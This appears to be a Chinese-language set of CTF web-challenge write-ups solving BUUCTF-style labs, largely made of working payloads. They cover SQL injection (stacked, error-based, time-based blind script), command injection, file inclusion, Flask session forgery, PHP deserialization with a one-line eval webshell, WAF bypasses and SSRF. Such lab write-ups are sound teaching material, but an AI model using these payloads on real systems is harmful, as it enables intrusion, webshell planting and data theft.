[HCTF 2018]WarmUp 一张p脸,访问源代码显示访问source.php: 有了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file (__FILE__ ); class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; } if (in_array ($page , $whitelist )) { return true ; } $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
代码应该很好懂吧
mb_substr:截取字符串,和substr一样
mb_strpos:查找字符第一次出现的位置
审计发现,必须要让checkfile返回true才可以读取文件,要让他返回true也就是让截取的字符在白名单内,白名单有hint.php
和source.php
假如payload中没有问号,那就是默认全部截取,那必不可能返回true,所以要在前面加问号
还有个hint.php:
payload:hint.php?../../../../../ffffllllaaaagggg
:
[ACTF2020 新生赛]Include 这边肯定是文件包含了flag.php文件,考点肯定是文件包含,试了一下发现input和data伪协议被ban了,只剩下filter, 直接filter读: 或者包含日志文件,然后蚁剑连接:
[ACTF2020 新生赛]Exec 真的是送分题 直接payload:1;ls /
再1;tac /flag
[极客大挑战 2019]EasySQL 一个登入界面,随便输入一串数字: 在这个页面可以看到存在一些URL参数,这里应该就是sql注入点了 解题 传入单引号发现有报错,那肯定就是sql注入了,这边经过测试发现查询语句应该是 select flag from xxx where username=''and password=''
解法一:(万能密码) 用一下万能密码就可以成功登入了,payload: ?username=admin’ or 1=’1&password=admin’ or 1=’1 解法二:(转义) 转义单引号,在usernmae一栏输入\,然后就会形成: username=’and password= 这种情况,之后在password输入or 1=’1payload:?username=\&password=or 1='1
[强网杯 2019]随便注 经过测试发现为堆叠注入,输入1;show tables#
: 本来以为是这个,再换一个payload你会发现,2;show tables;#
: 到这里我才发现自己貌似搞错了,应该是1,2都对应了参数,所以把有回显的2行全占用了,改payload为';show tables#
: 这应该才是真正的表,这边可以继续payload';show columns from
1919810931114514#
: 可以看见flag,继续';select flag from
1919810931114514#
: 发现过滤了select,这边就可以分化出2种解法了
解法一 : 使用预处理指令:';PREPARE boogipop from concat('se','lect flag from
1919810931114514');EXECUTE boogipop#
解法二: 没有ban掉alter和rename,可以试试'; rename table words to word1; rename table
1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key;
PRIMAPY是主键 的意思,表示定义的该列值在表中是唯一的意思,不可以有重复。、 这边primary key必不可少解法三: 可以用handler指令:';handler
1919810931114514 open as a;handler a read FIRST;#
[SUCTF 2019]EasySQL 这题有点花,来分析一下:输入1返回1 输入2返回1: 输入0什么都不返回: 输入1;show tables#
: 由此可以判断查询语句应该是SELECT $_POST[query]||flag from Flag
这边直接输入';show columns from Flag#
: 结果测试发现是过滤了Flag
所以我们直接payload*,1
,这样查询语法就变成了SELECT *,1 from Flag
:
解法二: 使用set sql_mode=pipes_as_concat来绕过,这个mysql常量可以让||
变为concat
函数 payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
: 这边我们的payload长一个字符都不行,否则会出现toolong提示,所以这个方法没几个人想得到吧。。。
[GXYCTF2019]Ping Ping Ping 肯定是传参ip,和上面有道题很相似: 发现可以看到flag文件,然后试试读取: ban掉了空格,经过测试使用$IFS$9
绕过: ban掉了什么很好奇我们直接把index.php读出来: 看得到ban了好多,flag是给ban掉了,得想办法绕过 payload:cat$IFS$9
ls
ls``将ls的结果用cat读出来:
解法二: 使用一波变量拼接,payload:1;a=ag.php;b=fl;cat$IFS$9$b$a
[极客大挑战 2019]Secret File 指定有什么私人仇恨,看网页源码: 看到了个archive_room
,访问: 点击后: 一眼抓包: 访问: 简单的文件包含:
strstr:
stristr:strstr的变种,就是不区分大小写了
?file=php://filter/convert.base64-encode/resource=flag.php
这里记得要用编码器,否则你会看到如下场面 flag在哪?我不知道啊!,这边进行日志包含得到了webshell之后看了一下源码: 假如你不编码的话include会解析,所以就看不到了。include不是高光函数,没办法看见定义的变量,所以得编码器编码一下
[极客大挑战 2019]LoveSQL 你都让我用sqlmap了我还有什么说的
手动注入:?username=\&password=union select 1,group_concat(id,username,password),3 from l0ve1ysq1-- -
咋来的就不多bb了就是联合注入而已
[极客大挑战 2019]Knife 好啊我帮你捡来:
[极客大挑战 2019]Http 比较好的一题 刚进去还是很蒙蔽的,找哪儿都找不到有效信息,最后百度搜了一下,发现burp的一个新功能就是网站地图,以下是他的介绍:
站点地图中已请求的项目以黑色显示。尚未请求的项目以灰色显示。默认情况下(启用被动爬网),当您开始浏览典型应用程序时,大量内容将以灰色显示,甚至在您无法请求之前,因为 Burp 已在您请求的内容中发现了指向该内容的链接。通过设置适当的目标范围并使用站点地图显示过滤器,可以删除不感兴趣的内容(例如,在从目标应用程序链接到的其他域上)。
内容表显示了有关每个选定项目的关键详细信息(URL,HTTP 状态代码,页面标题等)。您可以根据任何列对表进行排序(单击列标题可在升序,降序和未排序之间循环)。如果您在表中选择一个项目,则该项目的请求和响应(如果有)显示在请求 / 响应窗格中。它包含一个用于请求和响应的 HTTP 消息编辑器,提供对每个消息的详细分析。
这个secret.php一开始是灰色的,也就是没发送请求,但是被动收到了,访问: 抓包添加referer: 添加user-agent: 添加XFF头:
[极客大挑战 2019]Upload 要上传图片类型,上传个png抓包: emm不能有<?,那简单,我们用短标签 加一个gif文件头: 总算是上去了,再往里面加个.user.ini: 然后就该找到底该往哪儿去干呢,然后误打误撞发现有个upload文件夹: 我们的user.ini文件没有被上传,我也不知道为啥,但是我们可以用phtml文件后缀,在上面可以看到上传成功,什么是phtml?
通常,在嵌入了php脚本的html中,使用 phtml作为后缀名; 完全是php写的,则使用php作为后缀名。 这两种文件,web服务器都会用php解释器进行解析。
RCE成功,QWQ,这边用html文件也可以,因为本质上就是个js语句,这一题就很怪,要猜得出来文件夹是upload。。。
[ACTF2020 新生赛]Upload xio灯泡儿,把鼠标放上去就看到了文件上传,这边抓个包儿~: emmm这就可以上传拉?后缀名改成phtml: ????成功?然后直接rce: 好蠢的题
我猜一下预期解是什么,上传png图片,用.user.ini去绕过: 可以上传.user.ini,内容不重要改一下就好
[极客大挑战 2019]BabySQL 你好啊cl4y又见面了,这次又来暴打你了,这一次捏我就不多BB了,经过一些fuzz,发现过滤了select
,or
,where
,from
这些都可以用双写去绕过!!! 所以直接上一下payload?username=1' uniunionon seselectlect 1,group_concat(password),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'-- -&password=1
这一串可以查出表名,列名,接下来我就粗略的讲一下如何判断是不是双写绕过
首先加单引号是有报错的,那就必然存在sql注入,然后用一下万能密码你会发现: 这里看不清楚,注意报错信息是 '1=1-- -' and password='1''
我们的or去哪儿了??? 我们假如这样payload: 你会发现报错信息变成了’123 1=1-- -' and password='1''
看到没,也就是说or被替换成了空字符,接下来所有的都是这么测试出来的很简单的题 很简单很简单
[ACTF2020 新生赛]BackupFile U1S1我觉得这题最没含金量,这题的考点看题目就知道,备份文件,但是备份文件那么多是sql还是他妈的php文件也没整明白啊,试了半天发现是index.php.bak
你他吗告诉我假如人家稍微改一下名字你怎么猜啊???这不是常规思路知道吗,还不让扫目录,这题太烂了 直接输入123即可
[RoarCTF 2019]Easy Calc 今晚质量最高的题 一个界面,直接访问源代码 抓到calc.php: 看起来是不是很简单,但是经过测试发现你只要输入一个字母就会给你检测到WAF: 后面去了解了一下,发现可以在num前面加空格来绕过WAF,具体介绍如下:
你传了一个” num”的值,而waf正在抓名字叫做”num”的变量,碰到” num”时,” num”说你找的是”num”,与我” num”有何关系,说罢扬长而去。 而后在php对字符串解析的时候,将” num”多余的空格直接砍去,这样的话,我们就传入了”num”,并且还传入了我们希望的值。 同时,根据前面的num=phpinfo();判断后端会执行num的代码。 –https://www.yangshuaibin.com/detail/392376
php解析的时候是会把空格给省去,可以本地测试一下: 看到没,你加几个空格都无济于事,但是防火墙就不这么认为了
之后就可以发现我们能用一些函数了: 经过测试,我们无法使用的函数还是有system
,system可以用,但是你加了单引号或者是ls就没有回显,估计也是过滤了,echo也同理,include
,highlight_file
这一题我们用一下参数逃逸了,首先chr()
函数大家应该还认得吧,我们用这个来读取文件,payloadvar_dump(scandir(chr(47)));
扫描到了根目录有f1agg文件 之后就用参数逃逸了:
1 2 GET:?%20 num=eval (pos (next (get_defined_vars ()))) POST:1 =show_source ('/f1agg' );
或者你可以用字符串拼接:?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[HCTF 2018]admin 没想到这题卧虎藏龙 一个登入界面,右边的菜单有登录,注册按钮,先注册个账号再登入看看: 右边的菜单多了发帖,改密码,登出按钮,我一开始看到发帖以为是xss,后面给我干闷了,进入改密码界面看源代码会发现: 有一个提示,是个github仓库链接: 这个应该是flask源码,这个界面是flask框架,关注app里面的内容: 重点关注路由和config:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from flask import Flask, render_template, url_for, flash, request, redirect, session, make_responsefrom flask_login import logout_user, LoginManager, current_user, login_userfrom app import app, dbfrom config import Configfrom app.models import Userfrom forms import RegisterForm, LoginForm, NewpasswordFormfrom twisted.words.protocols.jabber.xmpp_stringprep import nodeprepfrom io import BytesIOfrom code import get_verify_code@app.route('/code' ) def get_code (): image, code = get_verify_code() buf = BytesIO() image.save(buf, 'jpeg' ) buf_str = buf.getvalue() response = make_response(buf_str) response.headers['Content-Type' ] = 'image/gif' session['image' ] = code return response @app.route('/' ) @app.route('/index' ) def index (): return render_template('index.html' , title = 'hctf' ) @app.route('/register' , methods = ['GET' , 'POST' ] ) def register (): if current_user.is_authenticated: return redirect(url_for('index' )) form = RegisterForm() if request.method == 'POST' : name = strlower(form.username.data) if session.get('image' ).lower() != form.verify_code.data.lower(): flash('Wrong verify code.' ) return render_template('register.html' , title = 'register' , form=form) if User.query.filter_by(username = name).first(): flash('The username has been registered' ) return redirect(url_for('register' )) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('register successful' ) return redirect(url_for('login' )) return render_template('register.html' , title = 'register' , form = form) @app.route('/login' , methods = ['GET' , 'POST' ] ) def login (): if current_user.is_authenticated: return redirect(url_for('index' )) form = LoginForm() if request.method == 'POST' : name = strlower(form.username.data) session['name' ] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password' ) return redirect(url_for('login' )) login_user(user, remember=form.remember_me.data) return redirect(url_for('index' )) return render_template('login.html' , title = 'login' , form = form) @app.route('/logout' ) def logout (): logout_user() return redirect('/index' ) @app.route('/change' , methods = ['GET' , 'POST' ] ) def change (): if not current_user.is_authenticated: return redirect(url_for('login' )) form = NewpasswordForm() if request.method == 'POST' : name = strlower(session['name' ]) user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash('change successful' ) return redirect(url_for('index' )) return render_template('change.html' , title = 'change' , form = form) @app.route('/edit' , methods = ['GET' , 'POST' ] ) def edit (): if request.method == 'POST' : flash('post successful' ) return redirect(url_for('index' )) return render_template('edit.html' , title = 'edit' ) @app.errorhandler(404 ) def page_not_found (error ): title = unicode(error) message = error.description return render_template('errors.html' , title=title, message=message) def strlower (username ): username = nodeprep.prepare(username) return username
1 2 3 4 5 6 import osclass Config (object ): SECRET_KEY = os.environ.get('SECRET_KEY' ) or 'ckj123' SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' SQLALCHEMY_TRACK_MODIFICATIONS = True
到这里我也不会写,然后往里面点还有个template文件夹,里面有index.html 意思大概就是要session的名字等于admin,flask的cookie被称为客户端session,因为它储存在客户端,具体参考https://www.leavesongs.com/PENETRATION/client-session-security.html flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 进行加密分为以下几步:
json.dumps 将对象转换成json字符串,作为数据
如果数据压缩后长度更短,则用zlib库进行压缩
将数据用base64编码
通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割
如果知道了secret_key就可以进行伪造了 可以用github大佬写的脚本去破解session读取内容:
1 2 3 python flask_session_cookie_manager3.py decode -c .eJxFkM2KwkAQhF9l6bOHZMa9CB5cRoOBblEmhp6LuGs0mR-FqOw44ruvetlDnar4qKo7bPZ9c25hdOmvzQA23Q5Gd_j4hhGgLT0Wy4zUzr9kdDUkdZALhQJD9WmKKlGxtgtdRbJfrdETSdY4FhypfmYKzMmyNBojhZlDwRlZ77leOxLzyLZ0pA9D0nNJyg1ZrBwnztEab2rylCY56dKhalu0U4kJf6mexoVyN05TgbrKTZi1HHgMjwH8nPv95nJyzfF_QqBgFGacltHoMpBYdST4hpolaidfPofqWcVFSmVHeudxOX7jjtvQPBGuO55gANdz07_PgTyDxx93MWUX.Y0aHvQ.2 eZPLe04Yk5xXy8vBOf8Fqu4nls b'{"_fresh":true,"_id":{" b":"MjJlMGQ0NDdlNDdlZTU4NDg3ODM2MmU5ZGUzNGVjOTUxNjBhZTA3NjZkY2YxNWM2MGM1NjY3ZTMxNmFkM2Y0NjllYWVkN2IxYjJkNTg4NTI3NDk4Y2RkYzY1MjZlZWNlNzA1NTJkMDhhMjE3MzMwNWExODkyYzE2MTU1ZmFhYmY="},"csrf_token":{" b":"MmNmZDM0YzQxZTJmN2RiN2YyMTY3MTk3MmNmYmUxYjkxNzJiNTdlMQ=="},"name":"kino","user_id":"10"}'
可以看到解密出来的内容,我们的name已经可以看到是kino了,思路是只要把kino改成admin,再重新签名即可,但是我们要知道secretkey,这时候重新看回我们上面的config文件,里面有个or cjk123
也就是说cjk123也是key,我们接下来重新签名即可,首先先要把我们之前的kino用户的session用key再完全解密一次,结果为:
1 {'_fresh' : True , '_id' : b'22e0d447e47ee584878362e9de34ec95160ae0766dcf15c60c5667e316ad3f469eaed7b1b2d588527498cddc6526eece70552d08a2173305a1892c16155faabf' , 'csrf_token' : b'2cfd34c41e2f7db7f21671972cfbe1b9172b57e1' , 'name' : 'kino' , 'user_id' : '10' }
再以这个结果进行更改,更改kino为admin,再重新加密:
1 python .\flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'22e0d447e47ee584878362e9de34ec95160ae0766dcf15c60c5667e316ad3f469eaed7b1b2d588527498cddc6526eece70552d08a2173305a1892c16155faabf', 'csrf_token': b'2cfd34c41e2f7db7f21671972cfbe1b9172b57e1', 'name': 'admin', 'user_id': '10'}"
1 .eJxFkE9rwkAUxL9KeWcPya69CB4sq8HAe6JsDG8vYptosn8sRKXrit-92ksPc5rhx8zcYXcY2nMHk8twbUew6xuY3OHtEyaAtvRYrDNSjX_J6GpM6ihXCgWG6t0UVaJia1e6imQ_OqNnkqxxLDhS_cwUmJNlaTRGCguHgjOy3nO9dSSWkW3pSB_HpJeSlBuz2DhOnKM13tTkKc1y0qVD1XVo5xIT_lA9jyvlbpzmAnWVm7DoOPAUHiP4Og-H3eXbtaf_CYGCUZhxWkejy0Bi05PgG2qWqJ18-RyqZxUXKZU96cbjevqHO-1D-0Tsm9CfYATXczv8vQN5Bo9f3WBlbw.Y0aNkw.viDMioSeHzs2Pdb-XZB1QOrpkY4
再登入就直接有答案了:
解法二(Unicode欺骗): 在change界面可以发现这一段代码:
1 2 if request.method == 'POST' : name = strlower(session['name' ])
通常来说我们python用的转小写函数是lower()
,这里用了strlower(),不止这里用了,而且login、register,change界面也用的是strlower,然后就去溯源了一下:
1 2 3 def strlower (username ): username = nodeprep.prepare(username) return username
这是自定义的函数,而关于nodeprep.prepare
,这里面有漏洞,对于如下字母nodeprep.prepare
函数会进行如下操作: 第一次把他变为大写字母,第二次变为小写,利用这一点我们可以注册一个用户名叫做ᴬᴰmin
然后经过第一次注册,最终用户名叫做ADmin
,然后再修改密码的时候,改的是admin
的密码,最后就可以达到修改管理员密码的目的了,这也是预期解:
[BJDCTF2020]Easy MD5 很简单的md5 hint提示一个查询语句,这一看就知道是输入ffifdyop
: 访问源码进入这个界面,一个弱碰撞,payload:a=QNKCDZO``b**=**240610708
: 强碰撞数组绕过:
[ZJCTF 2019]NiZhuanSiWei 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text" ]; $file = $_GET["file" ]; $password = $_GET["password" ]; if (isset($text)&&(file_get_contents($text,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ echo "Not now!" ; exit(); }else { include($file); //useless.php $password = unserialize($password); echo $password; } } else { highlight_file(__FILE__); } ?>
先?text=data://text/plain,welcome to the zjctf&file=php://filter/conver.base64-encode/resource=useless.php
: 再本地构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Flag { public $file="php://filter/resource=flag.php" ; public function __tostring(){ if (isset($this->file)){ echo file_get_contents($this->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $a=new Flag; echo serialize($a); ?>
最后?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:
:
[BJDCTF2020]ZJCTF,不过如此 怎么说呢?确实不过如此?咳咳题目还是有难度的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 ); $text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
这边儿一眼就知道用data先传参然后读取next.php看看?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
,读出来为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
正则表达式 这边得先介绍一下这个\\1
是什么意思,两个转义省掉一个就是\1
在preg_replace中等价于${1}或者说是$1
,${1}
表示什么呢,表示第一个被替换掉的内容: 然后注意正则表达式哪里的e模式,这个代表可以命令执行,也就是说'strtolower("\\1")'
等价于eval('strtolower("\\1")')
这边就有机可乘了,接下来我再演示几组数据:
1 2 3 4 5 6 7 var_dump(phpinfo()); // 结果:布尔 true var_dump(strtolower(phpinfo()));// 结果:字符串 '1' var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11' var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串'' var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串'' 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
第三个为什么为11,因为在.*
模式下,preg_replace会进行两次替换,猜测可能是因为*可以表示匹配0次的意思吧,我个人理解你是这样的,这地方很玄幻的,我这里本地试了很多次,\0和\1
都可以表示{${phpinfo()}}
(在.*模式下),在正常模式下\0
表示被判断的字符串,\1
表示被匹配的第一个字符串
还有个坑就是'{${phpinfo()}}'
和"{${phpinfo()}}"
是不同的,双引号包裹会解析变量,而单引号不会
所以最后这里的’strtolower(“{${phpinfo()}}”)’执行后相当于 strtolower(“{${1}}”) 又相当于 strtolower(“{null}”) 又相当于 ‘’ 空字符串 ${1}是null的原因是没有名字为1的变量
总而言之最后就命令执行了,所以最终payload:?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('tac /flag');
fla
[极客大挑战 2019]HardSQL ?????????????为什么全是它 这边直接上结论了,ban了and,空格(任何替代都不可以),sleep,等于号,这题用报错注入 payload?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password),0x7e)from(information_schema.columns)where
table_namelike'H4rDsq1')),1))%23&password=1
输入完后会发现只有一半的flag,是回显有长度限制:
我们要用right函数去截取另一半:?username=1%27or(updatexml(1,concat(0x7e,(right((select(group_concat(password))from
H4rDsq1),20)),0x7e),1))%23&password=1
g{0e44ea8c-9e9a-4274-b
[SUCTF 2019]CheckIn 就只说说思路,思路是不能上传php后缀名,可以上传png,文件头验证,上传.user.ini最后解析 内容不能有<?
这一点用短标签绕过即可
[MRCTF2020]Ez_bypass 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 I put something in F12 for you include 'flag.php' ; $flag ='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['gg' ])&&isset ($_GET ['id' ])) { $id =$_GET ['id' ]; $gg =$_GET ['gg' ]; if (md5 ($id ) === md5 ($gg ) && $id !== $gg ) { echo 'You got the first step' ; if (isset ($_POST ['passwd' ])) { $passwd =$_POST ['passwd' ]; if (!is_numeric ($passwd )) { if ($passwd ==1234567 ) { echo 'Good Job!' ; highlight_file ('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }Please input firs
就一个强碰撞数组绕过和一个1234567a 啊这容易:
[GXYCTF2019]BabySQli 一个输入框,输入一串数字后就跳转: 这边提示wrong pass就说明有admin,经过一系列的fuzz,发现ban掉了括号,or 留下来union和and,这里我们用union进行注入,这一题是没有回显的,但是我们要知道union一个特性: 假如现在我本地有一张表结构如下: 假如我查询一个不存在的字段再加上union:SELECT * FROM db1.tb1 WHERE id=3 UNION SELECT 1,2,3,4
这样第一行的数据全部被后面覆盖了,所以我们可以利用这一点去写这一题 源码有这一段提示,BASE64解密一次出不来,应该还加入了base32,base32+base64各解密一次得出: 我们payload: 可以知道第二个字段就是username,因为我们第二个数据放的是admin,它显示wrong pass就说明存在这个用户,第三个字段就是password,但是这边确不正确是为什么呢? 可能是我们传参pw的时候,他后台进行了一些加密 比如md5(pw)==password
也就是经过了md5加密,所以我们更改一下payload: 这样就出来了,把3进行md5加密一下就好
[GXYCTF2019]BabyUpload 文件上传题,也就说一下思路,经过测试 只可以上传jpg文件,内容有过滤,短标签绕过 之后上传htaccess解析jpg文件 最后蚁剑上号
[GYCTF2020]Blacklist 就是强网杯随便注的变种,用hanlder
[CISCN2019 华北赛区 Day2 Web1]Hack World ban了or,and,union
,直接用if盲注跑,这里不可以用布尔盲注啊记得,因为有线程限制,太快会429,脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import timeimport requests# import time url = "http://682b934a-0e36-4e28-8194-1339ca96f941.node4.buuoj.cn:81/index.php" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 data = { "id" :f"if(ascii(substr((select\tflag\tfrom\tflag),{i},1))>{mid},sleep(0.5),0)" } t1=time.time() r = requests.post(url,data=data) t2=time.time() # print(t2-t1) if (t2-t1)>0.8 : head = mid + 1 else : tail = mid if head != 32 : result += chr(head) else : break print (result)
多跑几遍,可能会有点误差
[网鼎杯 2020 青龙组]AreUSerialz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include ("flag.php" ) ;highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct () { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process(); } public function process () { if ($this ->op == "1" ) { $this ->write(); } else if ($this ->op == "2" ) { $res = $this ->read(); $this ->output($res); } else { $this ->output("Bad Hacker!" ); } } private function write () { if (isset($this ->filename) && isset($this ->content)) { if (strlen((string)$this ->content) > 100 ) { $this ->output("Too long!" ); die(); } $res = file_put_contents($this ->filename, $this ->content); if ($res) $this ->output("Successful!" ); else $this ->output("Failed!" ); } else { $this ->output("Failed!" ); } } private function read () { $res = "" ; if (isset($this ->filename)) { $res = file_get_contents($this ->filename); } return $res; } private function output ($s) { echo "[Result]: <br>" ; echo $s; } function __destruct () { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process(); } } function is_valid ($s) { for ($i = 0 ; $i < strlen($s); $i++) if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125 )) return false ; return true ; } if (isset($_GET{'str' })) { $str = (string)$_GET['str' ]; if (is_valid($str)) { $obj = unserialize($str); } }
源码有点长,但是其实审计之后并不难,接下来我慢慢介绍一下各个模块
属性 :op,filename,content
,这里的op相当于个标志,filename是文件名称,content是文件内容write: 向filename写入content内容,有长度限制read: 读取filename中的内容process: 检测op的值,为1进入write环节,为2进入read环节output: 输出结果__destruct: 析构函数,如果op为2,将op变为1,这里是强类型比较注意
审核完后,做这题我第一思路是看看能不能用write去写入一句话木马:
1 2 3 4 5 6 7 8 <?php class FileHandler { public $op=1 ; public $filename='1.php' ; public $content='<?php eval($_POST[1]);?>' ; } $a=new FileHandler ; echo serialize ($a) ;
当我构造完payload后输入: 没有权限,那没办法,那就走第二条路 这边注意析构函数中判断op是否为2,用的是强类型比较,这边我们可以构造一个op=2.0去绕过
1 2 3 4 5 6 7 8 9 10 <?php class FileHandler { public $op=2.0 ; public $filename='flag.php' ; public $content; } $a=new FileHandler ; echo serialize ($a) ; ?>
这里用public是因为在php7.1+之后,解析器对这些属性会不敏感 得出答案
[网鼎杯 2018]Fakebook join就是注册的意思,login就登入,给了一个这样的界面,首先扫一下网站,一扫就出来了2个文件,flag.php
,robots.txt
,flag文件看不到是空白的 robots: 一个备份文件,下载下来是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name, $age, $blog) { $this ->name = $name; $this ->age = (int )$age; $this ->blog = $blog; } function get ($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch); return $output; } public function getBlogContents () { return $this ->get($this ->blog); } public function isValidBlog () { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog); } }
看到了curl可能就会存在ssrf,但是目前我们什么也不知道,我们都不知道这源码和界面有什么关系,慢慢探讨 注册一个账号,然后登入: 有一个no=1,这里说不定存在sql注入 单引号报错了,说明猜测是正确的,经过一系列的测试发现ban的东西是union select
,注意是这整个语句,不是单独ban select或是union 然后经过一系列测试,可以用报错注入,时间盲注,但是我们还发现可以联合注入:0 union/**/select 1,2,3,4
: 2是回显点,为什么不要加注释或者是单引号呢?这个根据我的猜测后台代码应该是做了处理,把我们的payload分为了两部分,从第一个字符就拆开,我们也可以验证: 输入单引号报错,输入2个单引号: 居然是正常的,由此猜测至少要有2个字符,因为要截断 我们之前不是读到了一个flag.php吗,我们可以payload:0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
答案就出来了,我还扫到了一个文件db.php
: 我们用同样方法读出来 可以发现啊,我们上面的猜测是错误的,原因只是因为中括号框起来了
**方法二: **大家可能就好奇了,那我们的ssrf可不可以用呢?当然是可以的 这边先用联合注入爆一下数据库?no=0 union/**/select 1,group_concat(data),3,4 from users
这边直接就跳转到爆字段了,前面的自行去 这是一个序列化后的数据,结合上面的源代码,虽然ban了http和https,但是我们还有file伪协议 直接就可以进行一个ssrf,?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这样也同样出来flag,这边可能是后台进行了一个反序列化,这里数据要在第四个地方写,因为第四个字段才是data 之后看到了一串base64,解码:
